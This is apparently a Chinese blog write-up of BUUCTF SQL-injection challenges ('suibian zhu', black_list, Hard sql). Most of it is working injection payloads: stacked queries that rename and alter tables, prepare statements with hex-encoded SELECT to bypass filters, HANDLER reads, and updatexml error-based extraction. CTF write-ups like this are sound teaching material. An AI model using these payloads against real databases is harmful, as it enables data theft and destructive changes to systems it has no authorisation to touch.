buuctf sql注入

【强网杯】随便注

首先检查注入类型:字符注入

1' or 1=1 #

检查字段数

1' order by 2  #

1' order by 3  #
# error 1054 : Unknown column '3' in 'order clause'
# 报错,说明只有2个字段

 

查看数据库

1' union select 1, database()  #

   


说明过滤了select、update等语句,试试堆叠注入:

1';show databases;#

   

 
查看数据表

1';show tables;#

 


找到两张表:1919810931114514、words。
查看表字段名

1';show columns from words;show columns from `1919810931114514`;#

   
   

从表结构可以知道前端?inject=1显示的是words表的数据。


获取flag

第一种方法:

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

查看flag:

 

   


2.预处理   绕过select限制

1';Prepare abc from concat('s','elect', ' * from `1919810931114514` ');Execute abc;#

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#


3.handler绕过

1';handler `1919810931114514` open as p;handler p read first#

 类似题目:black_list

 前两种方法被禁掉了

用第三种方法

1'; handler `FlagHere` open as a; handler a read first;#

 Hard sql

报错注入

check.php?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=2

check.php?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x7e),1))%23&password=2

 

check.php?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))%23&password=2

  因为updataxml限制语句为32位,而flag长度大于32位,所以用left和right函数拼接

前半部分 check.php?username=1'or(updatexml(1,concat(0x7e,(select((left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=2

后半部分 check.php?username=1'or(updatexml(1,concat(0x7e,(select((right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=2

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值